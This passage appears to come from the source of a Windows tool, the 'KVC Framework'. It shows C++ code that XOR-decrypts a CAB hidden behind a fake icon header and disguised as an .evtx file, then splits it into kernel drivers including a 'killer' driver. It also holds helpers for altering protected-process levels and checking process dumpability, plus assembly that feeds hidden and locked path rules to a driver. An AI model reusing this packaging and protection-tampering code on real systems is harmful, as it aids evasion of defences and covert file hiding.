                                std::vector<BYTE>& outKvcSys,
                                std::vector<BYTE>& outKvcKiller,
                                std::vector<BYTE>& outKvcBlocker,
                                std::vector<BYTE>& outKvcstrm,
                                std::vector<BYTE>& outDll,
                                std::vector<BYTE>& outSmss) noexcept
{
    DEBUG(L"[EXTRACT] Loading resource %d", resourceId);

    // Load embedded resource
    auto resourceData = ReadResource(resourceId, RT_RCDATA);
    if (resourceData.size() <= 3774) {
        ERROR(L"[EXTRACT] Resource too small");
        return false;
    }

    // Skip icon header (first 3774 bytes)
    std::vector<BYTE> encryptedCAB(
        resourceData.begin() + 3774,
        resourceData.end()
    );

    DEBUG(L"[EXTRACT] Encrypted CAB size: %zu bytes", encryptedCAB.size());

    // XOR decrypt the CAB
    auto decryptedCAB = DecryptXOR(encryptedCAB, KVC_XOR_KEY);
    if (decryptedCAB.empty()) {
        ERROR(L"[EXTRACT] XOR decryption failed");
        return false;
    }

    // Decompress CAB to get kvc.evtx
    auto kvcEvtxData = DecompressCABFromMemory(decryptedCAB.data(), decryptedCAB.size());
    if (kvcEvtxData.empty()) {
        ERROR(L"[EXTRACT] CAB decompression failed");
        return false;
    }

    DEBUG(L"[EXTRACT] kvc.evtx extracted: %zu bytes", kvcEvtxData.size());

    // Split kvc.evtx into kvc.sys, kvckiller.sys, kvcblocker.sys, kvcstrm.sys, ExplorerFrame.dll and kvc_smss.exe
    if (!SplitKvcEvtx(kvcEvtxData, outKvcSys, outKvcKiller, outKvcBlocker, outKvcstrm, outDll, outSmss)) {
        ERROR(L"[EXTRACT] Failed to split kvc.evtx");
        return false;
    }

    DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, kvckiller.sys: %zu bytes, kvcblocker.sys: %zu bytes, kvcstrm.sys: %zu bytes, ExplorerFrame.dll: %zu bytes, kvc_smss.exe: %zu bytes",
          outKvcSys.size(), outKvcKiller.size(), outKvcBlocker.size(), outKvcstrm.size(), outDll.size(), outSmss.size());

    return true;
}

} // namespace Utils

<<<FILE: kvc/Utils.h>>>
Created:  2026-05-27 18:59:13
Modified: 2026-05-27 18:59:13
Size:     7.77 KB
// Utils.h
// Core utility functions for KVC Framework
// Author: Marek Wesolowski, 2025

#pragma once

#include "common.h"
#include <string>
#include <optional>
#include <unordered_map>
#include <unordered_set>
#include <vector>
#include <array>

namespace Utils
{
    // ============================================================================
    // STRING AND NUMERIC PARSING
    // ============================================================================
    
    std::optional<DWORD> ParsePid(const std::wstring& pidStr) noexcept;
    bool IsNumeric(const std::wstring& str) noexcept;
    
    // ============================================================================
    // FILE AND RESOURCE OPERATIONS
    // ============================================================================
    
    // Read file into byte vector
    std::vector<BYTE> ReadFile(const std::wstring& path) noexcept;
    
    // Read embedded resource from executable
    std::vector<BYTE> ReadResource(int resourceId, const wchar_t* resourceType);
    
    // Write byte vector to file
    bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data) noexcept;
    
    // Force delete file with attribute removal
    bool ForceDeleteFile(const std::wstring& path) noexcept;
    
    // ============================================================================
    // PROCESS NAME RESOLUTION
    // ============================================================================
    
    std::wstring GetProcessName(DWORD pid) noexcept;
    
    std::wstring GetProcessUser(DWORD pid) noexcept;
    
    std::wstring GetProcessIntegrityLevel(DWORD pid) noexcept;
    
    std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, 
                                           UCHAR protectionLevel, UCHAR signerType) noexcept;

    // ============================================================================
    // KERNEL OPERATIONS
    // ============================================================================
    
    std::optional<ULONG_PTR> GetKernelBaseAddress() noexcept;
    
    constexpr ULONG_PTR GetKernelAddress(ULONG_PTR base, DWORD offset) noexcept
    {
        return base + offset;
    }
    
    // ============================================================================
    // PROTECTION LEVEL BIT MANIPULATION
    // ============================================================================
    
    // Extract protection level from combined byte (lower 3 bits)
    constexpr UCHAR GetProtectionLevel(UCHAR protection) noexcept
    {
        return protection & 0x07;
    }
    
    // Extract signer type from combined byte (upper 4 bits)
    constexpr UCHAR GetSignerType(UCHAR protection) noexcept
    {
        return (protection & 0xF0) >> 4;
    }
    
    // Combine protection level and signer into single byte
    constexpr UCHAR GetProtection(UCHAR protectionLevel, UCHAR signerType) noexcept
    {
        return (signerType << 4) | protectionLevel;
    }
    
    // ============================================================================
    // PROTECTION LEVEL STRING CONVERSIONS
    // ============================================================================
    
    const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept;
    const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept;
    const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept;
    
    // ============================================================================
    // STRING TO ENUM PARSING
    // ============================================================================
    
    std::optional<UCHAR> GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept;
    std::optional<UCHAR> GetSignerTypeFromString(const std::wstring& signerType) noexcept;
    std::optional<UCHAR> GetSignatureLevel(UCHAR signerType) noexcept;
    
    // ============================================================================
    // PROCESS DUMPABILITY ANALYSIS
    // ============================================================================
    
    struct ProcessDumpability
    {
        bool CanDump;
        std::wstring Reason;
    };
    
    ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName, 
                                     UCHAR protectionLevel, UCHAR signerType) noexcept;
    
    // ============================================================================
    // HEX STRING UTILITIES
    // ============================================================================
    
    bool HexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept;
    bool IsValidHexString(const std::wstring& hexString) noexcept;

    // ============================================================================
    // PE BINARY MANIPULATION
    // ============================================================================
    
    // Get PE file length from binary data
    std::optional<size_t> GetPEFileLength(const std::vector<BYTE>& data, size_t offset = 0) noexcept;
    
    // Split combined PE binary (used for kvc.dat extraction)
    bool SplitCombinedPE(const std::vector<BYTE>& combined, 
                         std::vector<BYTE>& first, 
                         std::vector<BYTE>& second) noexcept;
    
    // XOR decryption with 7-byte key
    std::vector<BYTE> DecryptXOR(const std::vector<BYTE>& encryptedData, 
                                const std::array<BYTE, 7>& key) noexcept;

    // ============================================================================
    // CAB DECOMPRESSION AND WATERMARK EXTRACTION
    // ============================================================================
    
    // Decompress CAB archive from memory and extract kvc.evtx
    std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept;
    
    // Split kvc.evtx into kvc.sys, kvckiller.sys, kvcblocker.sys, kvcstrm.sys, ExplorerFrame.dll and kvc_smss.exe
    bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
                      std::vector<BYTE>& outKvcSys,
                      std::vector<BYTE>& outKvcKiller,
                      std::vector<BYTE>& outKvcBlocker,
                      std::vector<BYTE>& outKvcstrm,
                      std::vector<BYTE>& outDll,
                      std::vector<BYTE>& outSmss) noexcept;
    // Extract kvc.sys, kvckiller.sys, kvcblocker.sys, kvcstrm.sys, ExplorerFrame.dll and kvc_smss.exe from resource
    bool ExtractResourceComponents(int resourceId,
                                std::vector<BYTE>& outKvcSys,
                                std::vector<BYTE>& outKvcKiller,
                                std::vector<BYTE>& outKvcBlocker,
                                std::vector<BYTE>& outKvcstrm,
                                std::vector<BYTE>& outDll,
                                std::vector<BYTE>& outSmss) noexcept;

    // ============================================================================
    // CONSOLE COLORING
    // ============================================================================
    
    struct ProcessColors {
        static constexpr const wchar_t* GREEN = L"\033[92m";
        static constexpr const wchar_t* RED = L"\033[91m";
        static constexpr const wchar_t* YELLOW = L"\033[93m";
        static constexpr const wchar_t* BLUE = L"\033[94m";
        static constexpr const wchar_t* PURPLE = L"\033[95m";
        static constexpr const wchar_t* CYAN = L"\033[96m";
        static constexpr const wchar_t* HEADER = L"\033[97;44m";
        static constexpr const wchar_t* RESET = L"\033[0m";
    };

    bool EnableConsoleVirtualTerminal() noexcept;
    
    const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel, 
                                         UCHAR sectionSignatureLevel) noexcept;
}

<<<FILE: kvc/vg/config.asm>>>
Created:  2026-05-28 10:00:18
Modified: 2026-05-28 10:00:18
Size:     11.91 KB
; ==============================================================================
; Vault Guard - Registry Config Persistence
;
; Author: Marek Wesołowski (wesmar)
; Registry root: HKCU\Software\kvc\lock
;   \Paths   value_name=path(WCHAR*), type=REG_DWORD, data=flags(DWORD)
;   \Trusted value_name=name(WCHAR*), type=REG_DWORD, data=1
;
; Exported:
;   ConfigLoad()                 — restore all entries from registry → driver
;   ConfigSavePath(path, flags)  — rcx=WCHAR*, edx=DWORD
;   ConfigRemovePath(path)       — rcx=WCHAR*
;   ConfigSaveTrusted(name)      — rcx=WCHAR*
;   ConfigRemoveTrusted(name)    — rcx=WCHAR*
; ==============================================================================

option casemap:none
include consts.inc

EXTRN RegCreateKeyExW   :PROC
EXTRN RegOpenKeyExW     :PROC
EXTRN RegSetValueExW    :PROC
EXTRN RegDeleteValueW   :PROC
EXTRN RegEnumValueW     :PROC
EXTRN RegCloseKey       :PROC
EXTRN EnsureDriverReady :PROC
EXTRN CloseDevice       :PROC
EXTRN IoctlAddPath      :PROC
EXTRN IoctlAddTrusted   :PROC
EXTRN wcs_ascii_lower_inplace :PROC

.data?
    cfg_hkey     dq ?           ; phkResult scratch
    cfg_disp     dd ?           ; lpdwDisposition scratch
    cfg_type     dd ?           ; value type scratch
    cfg_namelen  dd ?           ; lpcchValueName for RegEnumValueW
    cfg_datalen  dd ?           ; lpcbData for RegEnumValueW
    cfg_flags    dd ?           ; value data (flags DWORD)

    cfg_name_buf dw 520 dup(?)  ; value name / path buffer (MAX_PATH+1 WCHARs)

.const
    str_key_paths   dw 'S','o','f','t','w','a','r','e','\','k','v','c','\','l','o','c','k','\','P','a','t','h','s',0
    str_key_trusted dw 'S','o','f','t','w','a','r','e','\','k','v','c','\','l','o','c','k','\','T','r','u','s','t','e','d',0

.code

; ==============================================================================
; _CfgCreate  rcx=subkey(WCHAR*)  →  rax=HKEY or 0
; RegCreateKeyExW(HKCU, subkey, 0, NULL, 0, KEY_ALL_ACCESS, NULL,
;                 &cfg_hkey, &cfg_disp)
; Stack: entry rsp%16=8; push rbx (+8)→0; sub 50h (+80)→0 ✓
; RegCreateKeyExW 9 args: stack args at [rsp+20h]..[rsp+40h] (5 slots)
; ==============================================================================
_CfgCreate proc
    push    rbx
    sub     rsp, 50h

    mov     rbx, rcx                        ; save subkey ptr

    lea     rax, cfg_disp
    mov     qword ptr [rsp+40h], rax        ; lpdwDisposition
    lea     rax, cfg_hkey
    mov     qword ptr [rsp+38h], rax        ; phkResult
    mov     qword ptr [rsp+30h], 0          ; lpSecurityAttributes = NULL
    mov     dword ptr [rsp+28h], KEY_ALL_ACCESS
    mov     dword ptr [rsp+20h], REG_OPTION_NON_VOLATILE
    xor     r9d, r9d                        ; lpClass = NULL
    xor     r8d, r8d                        ; Reserved = 0
    mov     rdx, rbx                        ; lpSubKey
    mov     rcx, HKEY_CURRENT_USER
    call    RegCreateKeyExW
    test    eax, eax
    jnz     @cc_fail
    mov     rax, cfg_hkey
    jmp     @cc_ret
@cc_fail:
    xor     eax, eax
@cc_ret:
    add     rsp, 50h
    pop     rbx
    ret
_CfgCreate endp

; ==============================================================================
; _CfgOpen  rcx=subkey(WCHAR*)  →  rax=HKEY or 0 (0 if key does not exist)
; RegOpenKeyExW(HKCU, subkey, 0, KEY_READ, &cfg_hkey)
; Stack: entry rsp%16=8; push rbx (+8)→0; sub 30h (+48)→0 ✓
; RegOpenKeyExW 5 args: 1 stack arg at [rsp+20h]
; ==============================================================================
_CfgOpen proc
    push    rbx
    sub     rsp, 30h

    mov     rbx, rcx

    lea     rax, cfg_hkey
    mov     qword ptr [rsp+20h], rax        ; phkResult
    mov     r9d, KEY_READ
    xor     r8d, r8d                        ; ulOptions = 0
    mov     rdx, rbx
    mov     rcx, HKEY_CURRENT_USER
    call    RegOpenKeyExW
    test    eax, eax
    jnz     @co_fail
    mov     rax, cfg_hkey
    jmp     @co_ret
@co_fail:
    xor     eax, eax
@co_ret:
    add     rsp, 30h
    pop     rbx
    ret
_CfgOpen endp

; ==============================================================================
; ConfigSavePath  rcx=path(WCHAR*)  edx=flags(DWORD)  →  void
; HKCU\Software\VG\Paths\<path> = flags (REG_DWORD)
; Stack: entry rsp%16=8; push rbx,rsi,rdi (+24)→0; sub 50h (+80)→0 ✓
; RegSetValueExW 6 args: 2 stack args at [rsp+20h],[rsp+28h]
; ==============================================================================
PUBLIC ConfigSavePath
ConfigSavePath proc
    push    rbx
    push    rsi
    push    rdi
    sub     rsp, 50h

    mov     rbx, rcx                ; path
    mov     esi, edx                ; flags

    lea     rcx, str_key_paths
    call    _CfgCreate
    test    rax, rax
    jz      @csp_ret
    mov     rdi, rax                ; hKey

    ; cfg_flags ← esi  (lpData must point to stable memory through the call)
    lea     rax, cfg_flags
    mov     dword ptr [rax], esi

    lea     rax, cfg_flags
    mov     dword ptr [rsp+28h], 4          ; cbData = sizeof(DWORD)
    mov     qword ptr [rsp+20h], rax        ; lpData = &cfg_flags
    mov     r9d, REG_DWORD
    xor     r8d, r8d                        ; Reserved = 0
    mov     rdx, rbx                        ; lpValueName = path
    mov     rcx, rdi
    call    RegSetValueExW

    mov     rcx, rdi
    call    RegCloseKey

@csp_ret:
    add     rsp, 50h
    pop     rdi
    pop     rsi
    pop     rbx
    ret
ConfigSavePath endp

; ==============================================================================
; ConfigRemovePath  rcx=path(WCHAR*)  →  void
; Deletes HKCU\Software\VG\Paths\<path>.
; Stack: entry rsp%16=8; push rbx,rsi,rdi (+24)→0; sub 50h (+80)→0 ✓
; ==============================================================================
PUBLIC ConfigRemovePath
ConfigRemovePath proc
    push    rbx
    push    rsi
    push    rdi
    sub     rsp, 50h

    mov     rbx, rcx

    lea     rcx, str_key_paths
    call    _CfgCreate
    test    rax, rax
    jz      @crp_ret
    mov     rdi, rax

    mov     rdx, rbx
    mov     rcx, rdi
    call    RegDeleteValueW

    mov     rcx, rdi
    call    RegCloseKey

@crp_ret:
    add     rsp, 50h
    pop     rdi
    pop     rsi
    pop     rbx
    ret
ConfigRemovePath endp

; ==============================================================================
; ConfigSaveTrusted  rcx=name(WCHAR*)  →  void
; HKCU\Software\VG\Trusted\<name> = 1 (REG_DWORD)
; Stack: entry rsp%16=8; push rbx,rsi,rdi (+24)→0; sub 50h (+80)→0 ✓
; ==============================================================================
PUBLIC ConfigSaveTrusted
ConfigSaveTrusted proc
    push    rbx
    push    rsi
    push    rdi
    sub     rsp, 50h

    mov     rbx, rcx

    lea     rcx, str_key_trusted
    call    _CfgCreate
    test    rax, rax
    jz      @cst_ret
    mov     rdi, rax

    lea     rax, cfg_flags
    mov     dword ptr [rax], 1              ; value = 1 (Enabled)

    lea     rax, cfg_flags
    mov     dword ptr [rsp+28h], 4
    mov     qword ptr [rsp+20h], rax
    mov     r9d, REG_DWORD
    xor     r8d, r8d
    mov     rdx, rbx
    mov     rcx, rdi
    call    RegSetValueExW

    mov     rcx, rdi
    call    RegCloseKey

@cst_ret:
    add     rsp, 50h
    pop     rdi
    pop     rsi
    pop     rbx
    ret
ConfigSaveTrusted endp

; ==============================================================================
; ConfigRemoveTrusted  rcx=name(WCHAR*)  →  void
; Deletes HKCU\Software\VG\Trusted\<name>.
; Stack: entry rsp%16=8; push rbx,rsi,rdi (+24)→0; sub 50h (+80)→0 ✓
; ==============================================================================
PUBLIC ConfigRemoveTrusted
ConfigRemoveTrusted proc
    push    rbx
    push    rsi
    push    rdi
    sub     rsp, 50h

    mov     rbx, rcx

    lea     rcx, str_key_trusted
    call    _CfgCreate
    test    rax, rax
    jz      @crt_ret
    mov     rdi, rax

    mov     rdx, rbx
    mov     rcx, rdi
    call    RegDeleteValueW

    mov     rcx, rdi
    call    RegCloseKey

@crt_ret:
    add     rsp, 50h
    pop     rdi
    pop     rsi
    pop     rbx
    ret
ConfigRemoveTrusted endp

; ==============================================================================
; ConfigLoad  →  void
; Enumerates both registry keys and pushes every entry to the driver.
; Stack: entry rsp%16=8; push rbx,rsi (+16)→8; sub 48h (+72)→0 ✓
; RegEnumValueW 8 args: 4 stack args at [rsp+20h]..[rsp+38h] (within 72 bytes ✓)
; Control flow:
;   open key → if fail jump past section
;   EnsureDriverReady → if fail jump to close-key label (no CloseDevice)
;   loop: RegEnumValueW → Ioctl* → inc index
;   @done: CloseDevice; falls through to @drv_fail: RegCloseKey
; ==============================================================================
PUBLIC ConfigLoad
ConfigLoad proc
    push    rbx
    push    rsi
    sub     rsp, 48h

    ; ── Paths ──────────────────────────────────────────────────────────────────
    lea     rcx, str_key_paths
    call    _CfgOpen
    test    rax, rax
    jz      @cl_do_trusted          ; key not present, skip to Trusted

    mov     rbx, rax                ; hKey (paths)

    call    EnsureDriverReady
    test    eax, eax
    jz      @cl_paths_drv_fail      ; driver not ready — close key only

    xor     esi, esi                ; dwIndex = 0

@cl_paths_loop:
    mov     cfg_namelen, 520        ; buffer capacity in WCHARs (reset each iter)
    mov     cfg_datalen, 4

    lea     rax, cfg_datalen
    mov     qword ptr [rsp+38h], rax        ; lpcbData
    lea     rax, cfg_flags
    mov     qword ptr [rsp+30h], rax        ; lpData = &cfg_flags
    lea     rax, cfg_type
    mov     qword ptr [rsp+28h], rax        ; lpType
    mov     qword ptr [rsp+20h], 0          ; lpReserved = NULL
    lea     r9, cfg_namelen                 ; lpcchValueName
    lea     r8, cfg_name_buf                ; lpValueName (output: path string)
    mov     edx, esi                        ; dwIndex
    mov     rcx, rbx
    call    RegEnumValueW
    cmp     eax, ERROR_NO_MORE_ITEMS
    je      @cl_paths_done
    test    eax, eax
    jnz     @cl_paths_next                  ; other error — skip entry

    mov     ecx, cfg_flags                  ; flags (value data from registry)
    and     ecx, 0Fh
    jz      @cl_paths_next                  ; zero = remembered but inactive
    lea     rdx, cfg_name_buf               ; path (value name from registry)
    call    IoctlAddPath

@cl_paths_next:
    inc     esi
    jmp     @cl_paths_loop

@cl_paths_done:
    call    CloseDevice
@cl_paths_drv_fail:
    mov     rcx, rbx
    call    RegCloseKey

    ; ── Trusted ────────────────────────────────────────────────────────────────
@cl_do_trusted:
    lea     rcx, str_key_trusted
    call    _CfgOpen
    test    rax, rax
    jz      @cl_done

    mov     rbx, rax

    call    EnsureDriverReady
    test    eax, eax
    jz      @cl_trusted_drv_fail

    xor     esi, esi

@cl_trusted_loop:
    mov     cfg_namelen, 520
    mov     cfg_datalen, 4

    lea     rax, cfg_datalen
    mov     qword ptr [rsp+38h], rax
    lea     rax, cfg_flags
    mov     qword ptr [rsp+30h], rax
    lea     rax, cfg_type
    mov     qword ptr [rsp+28h], rax
    mov     qword ptr [rsp+20h], 0
    lea     r9, cfg_namelen
    lea     r8, cfg_name_buf
    mov     edx, esi
    mov     rcx, rbx
    call    RegEnumValueW
    cmp     eax, ERROR_NO_MORE_ITEMS
    je      @cl_trusted_done
    test    eax, eax
    jnz     @cl_trusted_next

    lea     rcx, cfg_name_buf
    call    wcs_ascii_lower_inplace
    lea     rcx, cfg_name_buf
    call    IoctlAddTrusted

@cl_trusted_next:
    inc     esi
    jmp     @cl_trusted_loop

@cl_trusted_done:
    call    CloseDevice
@cl_trusted_drv_fail:
    mov     rcx, rbx
    call    RegCloseKey

@cl_done:
    add     rsp, 48h
    pop     rsi
    pop     rbx
    ret
ConfigLoad endp

end

<<<FILE: kvc/vg/consts.inc>>>
Created:  2026-05-27 18:51:26
Modified: 2026-05-27 11:25:03
Size:     17.73 KB
; ==============================================================================
; Vault Guard - Constants
; Author: Marek Wesołowski (wesmar)
; ==============================================================================

; ------------------------------------------------------------------------------
; IOCTL codes  (CTL_CODE = (type<<16)|(access<<14)|(func<<2)|method)
; VG_DEVICE_TYPE = 0x9C41
; ------------------------------------------------------------------------------
VG_DEVICE_TYPE              EQU 9C41h

IOCTL_VG_ADD_PATH           EQU 9C402400h   ; original: DWORD flags + NT path
IOCTL_VG_REMOVE_PATH        EQU 9C402400h   ; Disabled is ADD_PATH with flags=0
IOCTL_VG_ENUM_PATHS         EQU 9C402404h
IOCTL_VG_ADD_TRUSTED        EQU 9C402408h
IOCTL_VG_REMOVE_TRUSTED     EQU 9C402408h
IOCTL_VG_ENUM_TRUSTED       EQU 9C40240Ch
IOCTL_VG_SET_ACTIVE         EQU 9C40241Ch
IOCTL_VG_GET_STATUS         EQU 9C402420h
IOCTL_VG_CLEAR_ALL          EQU 9C402424h   ; original full sync/reload

; ------------------------------------------------------------------------------
; Protection flags (ProtectionMode bitmask)
; ------------------------------------------------------------------------------
VG_FLAG_HIDDEN              EQU 01h
VG_FLAG_LOCKED              EQU 02h
VG_FLAG_READONLY            EQU 04h
VG_FLAG_NOEXEC              EQU 08h

; VG_PATH_ENTRY offsets (packed struct: 1+2+var)
VG_PE_FLAGS                 EQU 0           ; BYTE  Flags
VG_PE_PATHLEN               EQU 1           ; WORD  PathLengthBytes (excl. null)
VG_PE_PATH                  EQU 3           ; WCHAR Path[]

; VG_TRUSTED_ENTRY offsets
VG_TE_NAMELEN               EQU 0           ; WORD  NameLengthBytes
VG_TE_NAME                  EQU 2           ; WCHAR Name[]
VG_TRUSTED_RECORD_SIZE      EQU 0D94h       ; fixed trusted record size in clrcdsp.dat
VG_TRUSTED_RECORD_NAME      EQU 4           ; WCHAR process image name starts here

; VG_SET_ACTIVE offset
VG_SA_ACTIVE                EQU 0           ; BYTE  Active (1/0)

; VG_STATUS offsets
VG_ST_ISACTIVE              EQU 0           ; BYTE
VG_ST_PATHCOUNT             EQU 4           ; DWORD (aligned at 4 in struct — pad after byte)
VG_ST_TRUSTEDCOUNT          EQU 8           ; DWORD
VG_ST_VERSION               EQU 12          ; DWORD
VG_STATUS_SIZE              EQU 16          ; sizeof VG_STATUS (with packing)

; VG_ENUM_REPLY offsets
VG_ER_COUNT                 EQU 0           ; DWORD
VG_ER_TOTALBYTES            EQU 4           ; DWORD
VG_ER_ENTRIES               EQU 8           ; entries follow

; Buffers
VG_IOCTL_BUF_SIZE           EQU 65536       ; 64 KB for enum replies
VG_PATH_MAX_CHARS           EQU 32767       ; UNICODE_STRING max
VG_ORIG_PATH_INPUT_SIZE     EQU 06414h      ; original VaultGuard.exe fixed path IOCTL input

; ------------------------------------------------------------------------------
; SERVICE CONTROL MANAGER
; ------------------------------------------------------------------------------
SC_MANAGER_CREATE_SERVICE   EQU 0002h
SC_MANAGER_CONNECT          EQU 0001h
SC_MANAGER_ALL              EQU 000F003Fh
SERVICE_KERNEL_DRIVER       EQU 00000001h
SERVICE_AUTO_START          EQU 00000002h
SERVICE_DEMAND_START        EQU 00000003h
SERVICE_ERROR_NORMAL        EQU 00000001h
SERVICE_QUERY_STATUS        EQU 00000004h
SERVICE_START               EQU 00000010h
SERVICE_STOP                EQU 00000020h
SERVICE_DELETE_SVC          EQU 00010000h
SERVICE_ALL_ACCESS          EQU 000F01FFh
SC_STATUS_PROCESS_INFO      EQU 0
SERVICE_STATUS_PROCESS_SIZE EQU 36
SERVICE_RUNNING             EQU 4
SERVICE_STOPPED             EQU 1
ERROR_SERVICE_ALREADY_RUNNING EQU 1056
ERROR_SERVICE_DOES_NOT_EXIST EQU 424h
ERROR_ALREADY_EXISTS        EQU 183
SERVICE_WIN32_OWN_PROCESS   EQU 00000010h
SERVICE_STOP_PENDING        EQU 3
SERVICE_CONTROL_STOP        EQU 00000001h
SERVICE_CONTROL_SHUTDOWN    EQU 5
SERVICE_CONTROL_PRESHUTDOWN EQU 0Fh
SERVICE_ACCEPT_STOP         EQU 1
SERVICE_ACCEPT_SHUTDOWN     EQU 4
SERVICE_ACCEPT_PRESHUTDOWN  EQU 100h
INFINITE                    EQU 0FFFFFFFFh
WAIT_FAILED_VAL             EQU 0FFFFFFFFh

; ------------------------------------------------------------------------------
; REGISTRY
; ------------------------------------------------------------------------------
HKEY_CURRENT_USER           EQU 0FFFFFFFF80000001h
HKEY_LOCAL_MACHINE          EQU 0FFFFFFFF80000002h
KEY_ALL_ACCESS              EQU 0F003Fh
KEY_READ                    EQU 20019h
KEY_SET_VALUE               EQU 00002h
REG_OPTION_NON_VOLATILE     EQU 0
REG_SZ                      EQU 1
REG_DWORD                   EQU 4
ERROR_NO_MORE_ITEMS         EQU 103h    ; 259 decimal

; ------------------------------------------------------------------------------
; COM / UIPI
; ------------------------------------------------------------------------------
CLSCTX_INPROC_SERVER        EQU 1
MSGFLT_ALLOW                EQU 1

; ------------------------------------------------------------------------------
; FILE / GENERIC
; ------------------------------------------------------------------------------
GENERIC_READ                EQU 80000000h
GENERIC_WRITE               EQU 40000000h
GENERIC_RW                  EQU 0C0000000h
FILE_SHARE_READ             EQU 00000001h
OPEN_EXISTING               EQU 3
CREATE_ALWAYS               EQU 2
FILE_ATTRIBUTE_NORMAL       EQU 00000080h
FILE_FLAG_OVERLAPPED        EQU 40000000h
INVALID_HANDLE_VALUE        EQU -1
CREATE_NO_WINDOW            EQU 08000000h

; ------------------------------------------------------------------------------
; WINDOW STYLES
; ------------------------------------------------------------------------------
DS_MODALFRAME               EQU 00000080h
DS_CENTER                   EQU 00000800h
WS_CAPTION                  EQU 00C00000h
WS_SYSMENU                  EQU 00080000h
WS_MINIMIZEBOX              EQU 00020000h
WS_CHILD                    EQU 40000000h
WS_VISIBLE                  EQU 10000000h
WS_TABSTOP                  EQU 00010000h
WS_CLIPCHILDREN             EQU 02000000h
WS_CLIPSIBLINGS             EQU 04000000h
WS_BORDER                   EQU 00800000h
WS_VSCROLL                  EQU 00200000h

STY_MAINWIN                 EQU 10CA0000h   ; CAPTION|SYSMENU|MINIMIZEBOX|VISIBLE
WS_CHILD_VISIBLE            EQU 50000000h
STY_BUTTON                  EQU 50010000h
STY_BUTTON_DEF              EQU 50010001h
STY_STATIC                  EQU 50000000h
STY_STATIC_CENTER           EQU 50000001h   ; WS_CHILD|WS_VISIBLE|SS_CENTER
STY_GROUPBOX                EQU 50000007h

; Extended styles
WS_EX_CLIENTEDGE            EQU 00000200h
WS_EX_CONTROLPARENT        EQU 00010000h

; ListView styles
LVS_REPORT                  EQU 0001h
LVS_SHOWSELALWAYS           EQU 0008h
LVS_SINGLESEL               EQU 0004h
LVS_EX_FULLROWSELECT        EQU 00000020h
LVS_EX_GRIDLINES            EQU 00000001h
LVS_EX_DOUBLEBUFFER         EQU 00010000h
LVS_EX_CHECKBOXES           EQU 00000004h

; CheckBox style
BS_CHECKBOX                 EQU 00000002h
BS_AUTOCHECKBOX             EQU 00000003h
BS_PUSHBUTTON               EQU 00000000h

; Edit box
ES_AUTOHSCROLL              EQU 00000080h
WS_EX_STATICEDGE            EQU 00020000h

; ------------------------------------------------------------------------------
; WINDOW CLASS STYLES
; ------------------------------------------------------------------------------
CS_HREDRAW                  EQU 0002h
CS_VREDRAW                  EQU 0001h

; ------------------------------------------------------------------------------
; DWM - dark mode / Mica
; ------------------------------------------------------------------------------
DWMWA_USE_IMMERSIVE_DARK_MODE     EQU 20
DWMWA_USE_IMMERSIVE_DARK_MODE_OLD EQU 19
DWMWA_SYSTEMBACKDROP_TYPE         EQU 38
DWMSBT_MAINWINDOW                 EQU 2

; ------------------------------------------------------------------------------
; WINDOW MESSAGES
; ------------------------------------------------------------------------------
WM_CREATE                   EQU 0001h
WM_DESTROY                  EQU 0002h
WM_CLOSE                    EQU 0010h
WM_COMMAND                  EQU 0111h
WM_NOTIFY                   EQU 004Eh
WM_COPYGLOBALDATA           EQU 0049h
WM_COPYDATA                 EQU 004Ah
WM_DROPFILES                EQU 0233h
WM_SETFONT                  EQU 0030h
WM_THEMECHANGED             EQU 031Ah
WM_CTLCOLORSTATIC           EQU 0138h
WM_CTLCOLORBTN              EQU 0135h
WM_CTLCOLOREDIT             EQU 0133h
WM_ERASEBKGND               EQU 0014h
WM_SIZE                     EQU 0005h
WM_TIMER                    EQU 0113h
WM_INITDIALOG               EQU 0110h
WM_SETREDRAW                EQU 000Bh
WM_SETTINGCHANGE            EQU 001Ah

; ListView notifications (NM_ = 0-...)
LVN_ITEMCHANGED             EQU 0FFFFFEA1h  ; -351 as DWORD
NM_DBLCLK                   EQU 0FFFFFFFDh  ; -3
NM_CLICK                    EQU 0FFFFFFFEh  ; -2
; LVM_FIRST = 0x1000 = 4096.  All offsets below are decimal (LVM_FIRST + N).
LVM_SETEXTENDEDLISTVIEWSTYLE EQU 1036h      ; LVM_FIRST+54
LVM_INSERTCOLUMNW           EQU 1061h       ; LVM_FIRST+97
LVM_INSERTITEMW             EQU 104Dh       ; LVM_FIRST+77
LVM_SETITEMW                EQU 104Ch       ; LVM_FIRST+76
LVM_GETITEMW                EQU 104Bh       ; LVM_FIRST+75
LVM_DELETEITEM              EQU 1008h       ; LVM_FIRST+8
LVM_DELETEALLITEMS          EQU 1009h       ; LVM_FIRST+9
LVM_GETITEMCOUNT            EQU 1004h       ; LVM_FIRST+4
LVM_GETITEMSTATE            EQU 102Ch       ; LVM_FIRST+44
LVM_GETNEXTITEM             EQU 100Ch       ; LVM_FIRST+12
LVM_GETITEMTEXTW            EQU 1073h       ; LVM_FIRST+115
LVM_SETBKCOLOR              EQU 1001h       ; LVM_FIRST+1
LVM_SETTEXTCOLOR            EQU 1024h       ; LVM_FIRST+36
LVM_SETTEXTBKCOLOR          EQU 1026h       ; LVM_FIRST+38
LVM_SETITEMSTATE            EQU 102Bh       ; LVM_FIRST+43
LVM_ENSUREVISIBLE           EQU 1013h       ; LVM_FIRST+19
LVS_EX_HEADERDRAGDROP       EQU 00000010h

LVIF_TEXT                   EQU 00000001h
LVIF_PARAM                  EQU 00000004h
LVIS_SELECTED               EQU 0002h
LVIS_FOCUSED                EQU 0001h
LVNI_SELECTED               EQU 0002h

; LVCOLUMNW mask
LVCF_FMT                    EQU 0001h
LVCF_WIDTH                  EQU 0002h
LVCF_TEXT                   EQU 0004h
LVCF_SUBITEM                EQU 0008h
LVCFMT_LEFT                 EQU 0000h
LVCFMT_CENTER               EQU 0002h

; LVITEMW iSubItem for flag columns
